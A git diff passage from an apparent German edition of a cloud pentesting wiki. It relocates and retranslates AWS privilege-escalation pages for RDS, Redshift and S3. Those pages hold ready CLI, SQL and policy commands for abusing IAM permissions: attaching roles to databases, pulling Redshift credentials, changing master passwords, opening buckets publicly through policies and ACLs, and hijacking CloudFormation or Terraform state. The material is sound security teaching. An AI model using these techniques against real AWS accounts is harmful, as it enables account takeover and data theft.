+Wenn du etwas wie **`aws_s3`** findest, kannst du davon ausgehen, dass diese Datenbank **irgendwie Zugriff auf S3** hat (es gibt andere Erweiterungen wie **`aws_ml`** und **`aws_lambda`**).
+
+Außerdem, wenn du die Berechtigung hast, **`aws rds describe-db-clusters`** auszuführen, kannst du dort sehen, ob der **Cluster eine angehängte IAM Role** im Feld **`AssociatedRoles`** hat. Falls vorhanden, kannst du davon ausgehen, dass die Datenbank **vorbereitet wurde, auf andere AWS services zuzugreifen**. Anhand des **Namens der Role** (oder wenn du die **Berechtigungen** der Role herausfinden kannst) könntest du **abschätzen**, auf welche zusätzlichen Ressourcen oder Services die Datenbank Zugriff hat.
+
+Um nun eine Datei in einem bucket zu **lesen**, musst du den vollständigen Pfad kennen. Du kannst sie lesen mit:
+```sql
+// Create table
+CREATE TABLE ttemp (col TEXT);
+
+// Create s3 uri
+SELECT aws_commons.create_s3_uri(
+'test1234567890678', // Name of the bucket
+'data.csv',          // Name of the file
+'eu-west-1'          //region of the bucket
+) AS s3_uri \gset
+
+// Load file contents in table
+SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
+
+// Get info
+SELECT * from ttemp;
+
+// Delete table
+DROP TABLE ttemp;
+```
+Wenn Sie über **rohe AWS-Zugangsdaten** verfügen, könnten Sie diese auch verwenden, um mit folgendem Befehl auf S3-Daten zuzugreifen:
+```sql
+SELECT aws_s3.table_import_from_s3(
+'t', '', '(format csv)',
+:'s3_uri',
+aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
+);
+```
+> [!NOTE]
+> Postgresql **muss keine Parametergruppenvariable ändern**, um auf S3 zugreifen zu können.
+
+#### Mysql (Aurora)
+
+> [!TIP]
+> Wenn du dich in einer mysql befindest und die Abfrage **`SELECT User, Host FROM mysql.user;`** ausführst und es einen Benutzer namens **`rdsadmin`** gibt, kannst du annehmen, dass du dich in einer **AWS RDS mysql db** befindest.
+
+Führe innerhalb der mysql **`show variables;`** aus und wenn Variablen wie **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** Werte haben, kannst du davon ausgehen, dass die Datenbank zum Zugriff auf S3 vorbereitet ist.
+
+Wenn du außerdem die Berechtigung hast, **`aws rds describe-db-clusters`** auszuführen, kannst du prüfen, ob der Cluster eine **zugeordnete Rolle** hat, was in der Regel Zugang zu AWS-Services bedeutet).
+
+Um nun eine Datei in einem Bucket zu **lesen**, musst du den vollständigen Pfad kennen. Du kannst sie mit:
+```sql
+CREATE TABLE ttemp (col TEXT);
+LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
+SELECT * FROM ttemp;
+DROP TABLE ttemp;
+```
+### `rds:AddRoleToDBCluster`, `iam:PassRole`
+
+Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBCluster` und `iam:PassRole` kann **eine angegebene Rolle zu einer vorhandenen RDS-Instanz hinzufügen**. Dies könnte dem Angreifer ermöglichen, **auf sensible Daten zuzugreifen** oder die Daten innerhalb der Instanz zu ändern.
+```bash
+aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
+```
+**Potential Impact**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.\
+Beachte, dass einige DBs zusätzliche Konfigurationen benötigen, wie z. B. Mysql, bei denen auch die role ARN in den Parametergruppen angegeben werden muss.
+
+### `rds:CreateDBInstance`
+
+Nur mit dieser Berechtigung könnte ein Angreifer eine **neue instance inside a cluster** erstellen, die bereits existiert und eine **IAM role** zugeordnet hat. Er kann das Master-Benutzerpasswort nicht ändern, aber er könnte die neue Datenbankinstanz dem Internet zugänglich machen:
+```bash
+aws --region eu-west-1 --profile none-priv rds create-db-instance \
+--db-instance-identifier mydbinstance2 \
+--db-instance-class db.t3.medium \
+--engine aurora-postgresql \
+--db-cluster-identifier database-1 \
+--db-security-groups "string" \
+--publicly-accessible
+```
+### `rds:CreateDBInstance`, `iam:PassRole`
+
+> [!NOTE]
+> TODO: Testen
+
+Ein Angreifer mit den Berechtigungen `rds:CreateDBInstance` und `iam:PassRole` kann **eine neue RDS-Instanz erstellen, der eine bestimmte Rolle zugewiesen ist**. Der Angreifer kann dann möglicherweise **auf sensible Daten zugreifen** oder die Daten innerhalb der Instanz verändern.
+
+> [!WARNING]
+> Einige Voraussetzungen für das anzuhängende Role-/Instance-Profile (laut [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
+
+> - Das Profil muss in Ihrem Konto existieren.
+> - Das Profil muss eine IAM-Rolle enthalten, die Amazon EC2 annehmen darf.
+> - Der Name des Instance-Profils und der zugehörigen IAM-Rolle müssen mit dem Präfix `AWSRDSCustom` beginnen.
+```bash
+aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
+```
+**Potential Impact**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS instance.
+
+### `rds:AddRoleToDBInstance`, `iam:PassRole`
+
+Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBInstance` und `iam:PassRole` kann **eine angegebene Rolle zu einer bestehenden RDS instance hinzufügen**. Dadurch könnte der Angreifer **auf sensible Daten zugreifen** oder die Daten innerhalb der instance verändern.
+
+> [!WARNING]
+> Die DB instance muss dafür außerhalb eines Clusters liegen.
+```bash
+aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
+```
+**Mögliche Auswirkungen**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
similarity index 55%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
index 67eb5afc9..ee7dd1ff2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md
@@ -1,56 +1,56 @@
 # AWS - Redshift Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Redshift
 
 Für weitere Informationen zu RDS siehe:
 
 {{#ref}}
-../aws-services/aws-redshift-enum.md
+../../aws-services/aws-redshift-enum.md
 {{#endref}}
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
 
-Mit diesen Berechtigungen können Sie **Informationen zu allen Clustern** (einschließlich Name und Cluster-Benutzername) abrufen und **Zugangsdaten** zum Zugriff darauf erhalten:
+Mit diesen Berechtigungen kannst du **Informationen zu allen Clustern** (einschließlich Name und Cluster-Benutzername) erhalten und **Anmeldeinformationen** zum Zugriff darauf abrufen:
 ```bash
 # Get creds
 aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
 # Connect, even if the password is a base64 string, that is the password
 psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
 ```
-**Potenzielle Auswirkungen:** Sensible Informationen in den Datenbanken finden.
+**Mögliche Auswirkungen:** Vertrauliche Informationen in den Datenbanken finden.
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
 
-Mit diesen Berechtigungen können Sie **Informationen über alle Cluster** abrufen und **Zugangsdaten** dafür erhalten.\
-Beachten Sie, dass der postgres-Benutzer die **Berechtigungen hat, die die IAM-Identität** hat, die verwendet wurde, um die Zugangsdaten zu erhalten.
+Mit diesen Berechtigungen kannst du **Informationen aller Cluster** abrufen und **Zugangsdaten** erhalten, um darauf zuzugreifen.\
+Beachte, dass der postgres user die **Berechtigungen, die die IAM identity** zum Abrufen der Zugangsdaten hatte, übernimmt.
 ```bash
 # Get creds
 aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
 # Connect, even if the password is a base64 string, that is the password
 psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
 ```
-**Potenzielle Auswirkungen:** Sensible Informationen in den Datenbanken finden.
+**Mögliche Auswirkungen:** Sensible Informationen in den Datenbanken finden.
 
 ### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
 
-Es ist möglich, das **Master-Passwort** des internen postgres (redshift) Benutzers über die aws cli zu **ändern** (ich denke, das sind die Berechtigungen, die du benötigst, aber ich habe sie noch nicht getestet):
+Es ist möglich, über die aws cli **das Master-Passwort** des internen postgres (redshit) Benutzers zu ändern (ich denke, das sind die Berechtigungen, die du brauchst, aber ich habe sie noch nicht getestet):
 ```
 aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
 ```
-**Potenzielle Auswirkungen:** Sensible Informationen in den Datenbanken finden.
+**Potentielle Auswirkungen:** Sensible Informationen in den Datenbanken finden.
 
 ## Zugriff auf externe Dienste
 
 > [!WARNING]
-> Um auf alle folgenden Ressourcen zuzugreifen, müssen Sie **die zu verwendende Rolle angeben**. Ein Redshift-Cluster **kann eine Liste von AWS-Rollen zugewiesen haben**, die Sie verwenden können, **wenn Sie die ARN kennen**, oder Sie können einfach "**default**" setzen, um die standardmäßig zugewiesene zu verwenden.
-
-> Darüber hinaus erlaubt Redshift, wie [**hier erklärt**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), auch das Verketten von Rollen (solange die erste die zweite annehmen kann), um weiteren Zugriff zu erhalten, indem Sie sie einfach mit einem **Komma** trennen: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+> Um auf alle folgenden Ressourcen zuzugreifen, müssen Sie die **zu verwendende Rolle angeben**. Ein Redshift-Cluster **kann eine Liste von AWS-Rollen zugewiesen haben**, die Sie verwenden können **wenn Sie die ARN kennen**, oder Sie können einfach "**default**" setzen, um die standardmäßig zugewiesene Rolle zu verwenden.
+>
+> Außerdem, wie [**hier erklärt**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), erlaubt Redshift Rollen zu verketten (sofern die erste die zweite annehmen kann), um weitergehenden Zugriff zu erhalten, indem Sie sie einfach mit einem **Komma** **trennen**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
 
 ### Lambdas
 
-Wie in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) erklärt, ist es möglich, **eine Lambda-Funktion von Redshift aus aufzurufen** mit etwas wie:
+Wie in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) erklärt, ist es möglich, **eine Lambda-Funktion aus Redshift aufzurufen** mit etwas wie:
 ```sql
 CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
 RETURNS INT
@@ -60,7 +60,7 @@ IAM_ROLE default;
 ```
 ### S3
 
-Wie in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) erklärt, ist es möglich, **in S3-Buckets zu lesen und zu schreiben**:
+Wie in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) erklärt, ist es möglich, **in S3 buckets zu lesen und zu schreiben**:
 ```sql
 # Read
 copy table from 's3://<your-bucket-name>/load/key_prefix'
@@ -75,21 +75,21 @@ iam_role default;
 ```
 ### Dynamo
 
-Wie in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) erklärt, ist es möglich, **Daten von dynamodb zu erhalten**:
+Wie in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) erklärt, ist es möglich, **Daten aus dynamodb abzurufen**:
 ```sql
 copy favoritemovies
 from 'dynamodb://ProductCatalog'
 iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
 ```
 > [!WARNING]
-> Die Amazon DynamoDB-Tabelle, die die Daten bereitstellt, muss in derselben AWS-Region wie Ihr Cluster erstellt werden, es sei denn, Sie verwenden die [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) Option, um die AWS-Region anzugeben, in der sich die Amazon DynamoDB-Tabelle befindet.
+> Die Amazon DynamoDB-Tabelle, die die Daten bereitstellt, muss in derselben AWS Region wie Ihr Cluster erstellt werden, es sei denn, Sie verwenden die [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region)-Option, um die AWS Region anzugeben, in der sich die Amazon DynamoDB-Tabelle befindet.
 
 ### EMR
 
-Überprüfen Sie [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
+Siehe [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
 
-## References
+## Referenzen
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
deleted file mode 100644
index 00d87043f..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ /dev/null
@@ -1,186 +0,0 @@
-# AWS - S3 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-
-Ein Angreifer mit diesen Berechtigungen über interessante Buckets könnte in der Lage sein, Ressourcen zu übernehmen und Privilegien zu eskalieren.
-
-Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen über einen CloudFormation-Bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Bereitstellung übernehmen. Der Zugriff kann mit der folgenden Richtlinie gewährt werden:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": [
-"s3:PutBucketNotification",
-"s3:GetBucketNotification",
-"s3:PutObject",
-"s3:GetObject"
-],
-"Resource": [
-"arn:aws:s3:::cf-templates-*/*",
-"arn:aws:s3:::cf-templates-*"
-]
-},
-{
-"Effect": "Allow",
-"Action": "s3:ListAllMyBuckets",
-"Resource": "*"
-}
-]
-}
-```
-Und die Übernahme ist möglich, weil es ein **kurzes Zeitfenster vom Moment des Hochladens der Vorlage** in den Bucket bis zum Moment der **Bereitstellung der Vorlage** gibt. Ein Angreifer könnte einfach eine **lambda function** in seinem Konto erstellen, die **ausgelöst wird, wenn eine Bucket-Benachrichtigung gesendet wird**, und **übernimmt** den **Inhalt** dieses **Buckets**.
-
-![](<../../../images/image (174).png>)
-
-Das Pacu-Modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kann verwendet werden, um diesen Angriff zu automatisieren.\
-Für weitere Informationen siehe die ursprüngliche Forschung: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
-
-### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
-
-Dies sind die Berechtigungen, um **Objekte in S3 zu erhalten und hochzuladen**. Mehrere Dienste innerhalb von AWS (und außerhalb davon) verwenden S3-Speicher, um **Konfigurationsdateien** zu speichern.\
-Ein Angreifer mit **Lesezugriff** auf diese könnte **sensible Informationen** darin finden.\
-Ein Angreifer mit **Schreibzugriff** könnte **die Daten ändern, um einen Dienst auszunutzen und zu versuchen, Privilegien zu eskalieren**.\
-Hier sind einige Beispiele:
-
-- Wenn eine EC2-Instanz die **Benutzerdaten in einem S3-Bucket speichert**, könnte ein Angreifer diese ändern, um **beliebigen Code innerhalb der EC2-Instanz auszuführen**.
-
-### `s3:PutObject`, `s3:GetObject` (optional) über Terraform-Zustandsdatei
-
-Es ist sehr häufig, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) Zustandsdateien im Blob-Speicher von Cloud-Anbietern, z.B. AWS S3, gespeichert werden. Die Dateiendung für eine Zustandsdatei ist `.tfstate`, und die Bucket-Namen geben oft auch preis, dass sie Terraform-Zustandsdateien enthalten. In der Regel hat jedes AWS-Konto einen solchen Bucket, um die Zustandsdateien zu speichern, die den Zustand des Kontos anzeigen.\
-Außerdem haben in der realen Welt fast immer alle Entwickler `s3:*` und manchmal sogar Geschäftsanwender `s3:Put*`.
-
-Wenn Sie also die oben genannten Berechtigungen über diese Dateien haben, gibt es einen Angriffsvektor, der es Ihnen ermöglicht, RCE in der Pipeline mit den Rechten von `terraform` zu erlangen - meistens `AdministratorAccess`, was Sie zum Administrator des Cloud-Kontos macht. Außerdem können Sie diesen Vektor verwenden, um einen Denial-of-Service-Angriff durchzuführen, indem Sie `terraform` legitime Ressourcen löschen lassen.
-
-Befolgen Sie die Beschreibung im Abschnitt *Abusing Terraform State Files* der *Terraform Security*-Seite für direkt verwendbaren Exploit-Code:
-
-{{#ref}}
-../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
-{{#endref}}
-
-### `s3:PutBucketPolicy`
-
-Ein Angreifer, der **aus demselben Konto** stammen muss, da sonst der Fehler `Die angegebene Methode ist nicht erlaubt` ausgelöst wird, kann mit dieser Berechtigung sich selbst mehr Berechtigungen über die Bucket(s) gewähren, die es ihm ermöglichen, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen.
-```bash
-# Update Bucket policy
-aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
-
-## JSON giving permissions to a user and mantaining some previous root access
-{
-"Id": "Policy1568185116930",
-"Version":"2012-10-17",
-"Statement":[
-{
-"Effect":"Allow",
-"Principal":{
-"AWS":"arn:aws:iam::123123123123:root"
-},
-"Action":"s3:ListBucket",
-"Resource":"arn:aws:s3:::somebucketname"
-},
-{
-"Effect":"Allow",
-"Principal":{
-"AWS":"arn:aws:iam::123123123123:user/username"
-},
-"Action":"s3:*",
-"Resource":"arn:aws:s3:::somebucketname/*"
-}
-]
-}
-
-## JSON Public policy example
-### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
-{
-"Id": "Policy1568185116930",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Stmt1568184932403",
-"Action": [
-"s3:ListBucket"
-],
-"Effect": "Allow",
-"Resource": "arn:aws:s3:::welcome",
-"Principal": "*"
-},
-{
-"Sid": "Stmt1568185007451",
-"Action": [
-"s3:GetObject"
-],
-"Effect": "Allow",
-"Resource": "arn:aws:s3:::welcome/*",
-"Principal": "*"
-}
-]
-}
-```
-### `s3:GetBucketAcl`, `s3:PutBucketAcl`
-
-Ein Angreifer könnte diese Berechtigungen missbrauchen, um **sich mehr Zugriff** auf bestimmte Buckets zu gewähren.\
-Beachten Sie, dass der Angreifer nicht aus demselben Konto stammen muss. Darüber hinaus ist der Schreibzugriff
-```bash
-# Update bucket ACL
-aws s3api get-bucket-acl --bucket <bucket-name>
-aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
-
-##JSON ACL example
-## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
-{
-"Owner": {
-"DisplayName": "<DisplayName>",
-"ID": "<ID>"
-},
-"Grants": [
-{
-"Grantee": {
-"Type": "Group",
-"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-},
-"Permission": "FULL_CONTROL"
-}
-]
-}
-## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
-```
-### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-
-Ein Angreifer könnte diese Berechtigungen missbrauchen, um ihm mehr Zugriff auf bestimmte Objekte innerhalb von Buckets zu gewähren.
-```bash
-# Update bucket object ACL
-aws s3api get-object-acl --bucket <bucekt-name> --key flag
-aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
-
-##JSON ACL example
-## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
-{
-"Owner": {
-"DisplayName": "<DisplayName>",
-"ID": "<ID>"
-},
-"Grants": [
-{
-"Grantee": {
-"Type": "Group",
-"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-},
-"Permission": "FULL_CONTROL"
-}
-]
-}
-## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
-```
-### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-
-Ein Angreifer mit diesen Berechtigungen wird erwartet, in der Lage zu sein, eine Acl für eine bestimmte Objektversion festzulegen.
-```bash
-aws s3api get-object-acl --bucket <bucekt-name> --key flag
-aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
new file mode 100644
index 000000000..ee4b635a0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -0,0 +1,186 @@
+# AWS - S3 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
+
+Ein Angreifer mit diesen Berechtigungen für relevante Buckets könnte Ressourcen übernehmen und Privilegien eskalieren.
+
+Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudformation Bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Bereitstellung übernehmen. Der Zugriff kann mit folgender Policy gewährt werden:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": [
+"s3:PutBucketNotification",
+"s3:GetBucketNotification",
+"s3:PutObject",
+"s3:GetObject"
+],
+"Resource": [
+"arn:aws:s3:::cf-templates-*/*",
+"arn:aws:s3:::cf-templates-*"
+]
+},
+{
+"Effect": "Allow",
+"Action": "s3:ListAllMyBuckets",
+"Resource": "*"
+}
+]
+}
+```
+Und die Übernahme ist möglich, weil es ein **kleines Zeitfenster vom Moment, in dem die Template in den bucket hochgeladen wird, bis zum Moment, in dem die Template bereitgestellt wird**. Ein Angreifer könnte einfach eine **lambda function** in seinem Account erstellen, die **ausgelöst wird, wenn eine bucket-Notification gesendet wird**, und den **Inhalt** dieses **buckets** kapert.
+
+![](<../../../images/image (174).png>)
+
+Das Pacu-Modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kann verwendet werden, um diesen Angriff zu automatisieren.\
+Für weitere Informationen siehe die Originalforschung: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+
+### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
+
+Das sind die Berechtigungen, um **Objekte in S3 zu lesen und hochzuladen**. Mehrere Services innerhalb von AWS (und außerhalb) nutzen S3-Speicher, um **Konfigurationsdateien** zu speichern.\
+Ein Angreifer mit **Lesezugriff** darauf könnte **sensible Informationen** finden.\
+Ein Angreifer mit **Schreibzugriff** könnte die Daten **manipulieren, um einen Service zu missbrauchen und versuchen, Privilegien zu eskalieren**.\
+Hier einige Beispiele:
+
+- Wenn eine EC2-Instanz die **user data in einem S3 bucket** speichert, könnte ein Angreifer diese ändern, um **beliebigen Code innerhalb der EC2-Instanz auszuführen**.
+
+### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
+
+Es ist sehr üblich, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files in den Blob-Storage von Cloud-Providern, z. B. AWS S3, gespeichert werden. Die Dateiendung für eine State-Datei ist `.tfstate`, und die Bucket-Namen verraten oft, dass sie terraform state files enthalten. Normalerweise hat jedes AWS-Konto so einen Bucket, um die State-Dateien zu speichern, die den Zustand des Kontos aufzeigen.
+Auch in realen Accounts haben in der Regel fast immer alle Entwickler `s3:*` und manchmal sogar Business-User `s3:Put*`.
+
+Wenn du also die oben genannten Berechtigungen für diese Dateien hast, gibt es einen Angriffsvektor, mit dem du RCE in der Pipeline mit den Rechten von `terraform` erreichen kannst – meist `AdministratorAccess`, was dich zum Admin des Cloud-Accounts macht. Außerdem kannst du diesen Vektor nutzen, um einen Denial-of-Service-Angriff durchzuführen, indem du `terraform` legitime Ressourcen löschen lässt.
+
+Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der *Terraform Security*-Seite für direkt verwendbaren Exploit-Code:
+
+{{#ref}}
+../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
+{{#endref}}
+
+### `s3:PutBucketPolicy`
+
+Ein Angreifer, der **aus demselben Account** stammen muss (ansonsten wird der Fehler `The specified method is not allowed will trigger` ausgelöst), kann sich mit dieser Berechtigung zusätzliche Rechte auf den/die bucket(s) gewähren, die ihm das Lesen, Schreiben, Ändern, Löschen und Offenlegen von Buckets erlauben.
+```bash
+# Update Bucket policy
+aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
+
+## JSON giving permissions to a user and mantaining some previous root access
+{
+"Id": "Policy1568185116930",
+"Version":"2012-10-17",
+"Statement":[
+{
+"Effect":"Allow",
+"Principal":{
+"AWS":"arn:aws:iam::123123123123:root"
+},
+"Action":"s3:ListBucket",
+"Resource":"arn:aws:s3:::somebucketname"
+},
+{
+"Effect":"Allow",
+"Principal":{
+"AWS":"arn:aws:iam::123123123123:user/username"
+},
+"Action":"s3:*",
+"Resource":"arn:aws:s3:::somebucketname/*"
+}
+]
+}
+
+## JSON Public policy example
+### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
+{
+"Id": "Policy1568185116930",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Stmt1568184932403",
+"Action": [
+"s3:ListBucket"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome",
+"Principal": "*"
+},
+{
+"Sid": "Stmt1568185007451",
+"Action": [
+"s3:GetObject"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome/*",
+"Principal": "*"
+}
+]
+}
+```
+### `s3:GetBucketAcl`, `s3:PutBucketAcl`
+
+Ein attacker könnte diese Berechtigungen missbrauchen, um **sich mehr Zugriff** auf bestimmte buckets zu verschaffen.\
+Beachte, dass der attacker nicht aus demselben account stammen muss. Außerdem the write access
+```bash
+# Update bucket ACL
+aws s3api get-bucket-acl --bucket <bucket-name>
+aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
+
+##JSON ACL example
+## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
+{
+"Owner": {
+"DisplayName": "<DisplayName>",
+"ID": "<ID>"
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
+}
+## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
+```
+### `s3:GetObjectAcl`, `s3:PutObjectAcl`
+
+Ein attacker könnte diese permissions missbrauchen, um sich mehr Zugriff auf bestimmte objects in buckets zu verschaffen.
+```bash
+# Update bucket object ACL
+aws s3api get-object-acl --bucket <bucekt-name> --key flag
+aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
+
+##JSON ACL example
+## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
+{
+"Owner": {
+"DisplayName": "<DisplayName>",
+"ID": "<ID>"
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
+}
+## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
+```
+### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
+
+Von einem Angreifer mit diesen Berechtigungen wird erwartet, dass er einer bestimmten Objektversion eine ACL zuweisen kann.
+```bash
+aws s3api get-object-acl --bucket <bucekt-name> --key flag
+aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
+```
